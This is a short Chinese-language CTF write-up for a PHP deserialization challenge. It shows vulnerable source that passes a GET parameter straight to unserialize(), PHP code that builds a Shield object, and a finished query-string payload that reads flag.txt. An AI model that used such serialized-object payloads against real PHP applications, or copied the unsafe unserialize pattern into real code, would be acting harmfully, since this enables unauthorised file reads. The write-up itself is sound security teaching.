源码如下

```
1
2  <?php
3  error_reporting(0);
4   show_source("26.php");
5     echo '<br>';
6      require_once('shield.php');
7      $x = new Shield();
8      isset($_GET['class']) && $g = $_GET['class'];
9      //echo $g;
10      if (!empty($g)) {
11          $x = unserialize($g);
12          //echo serialize($x);
13      }
14      echo $x->readfile();
15  ?>
16  <img src="showimg.php?img=ZXJyb3IudHh0"/>
17  <h3>Who Care a Picture????</h3>
18
19
20
21
22
23
24  <!-- shield.php -->
25
26  <?php
27  error_reporting(0);
28  show_source("shield.php");
29     echo '<br>';
30
31      class Shield {
32          public $file;
33          function __construct($filename = '') {
34              $this -> file = $filename;
35          }
36
37          function readfile() {
38          //    echo ($this->file);
```

```
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
```

查看源码，发现考察了反序列化

所以直接写php，可从图片线索中得知我们需要flag.txt

payload

```
<?php

class Shield {
 public $file;
 function __construct($filename = 'flag.txt') {
 $this -> file = $filename;
 }

 function readfile() {
  if (!empty($this->file) && stripos($this->file,'..')===FALSE
  && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
  return @file_get_contents($this->file);
  }
  }
  }



$x = new Shield();
$a = serialize($x);
echo $a;
?>
```

```
?class=O:6:"Shield":1:{s:4:"file";s:8:"flag.txt";}
```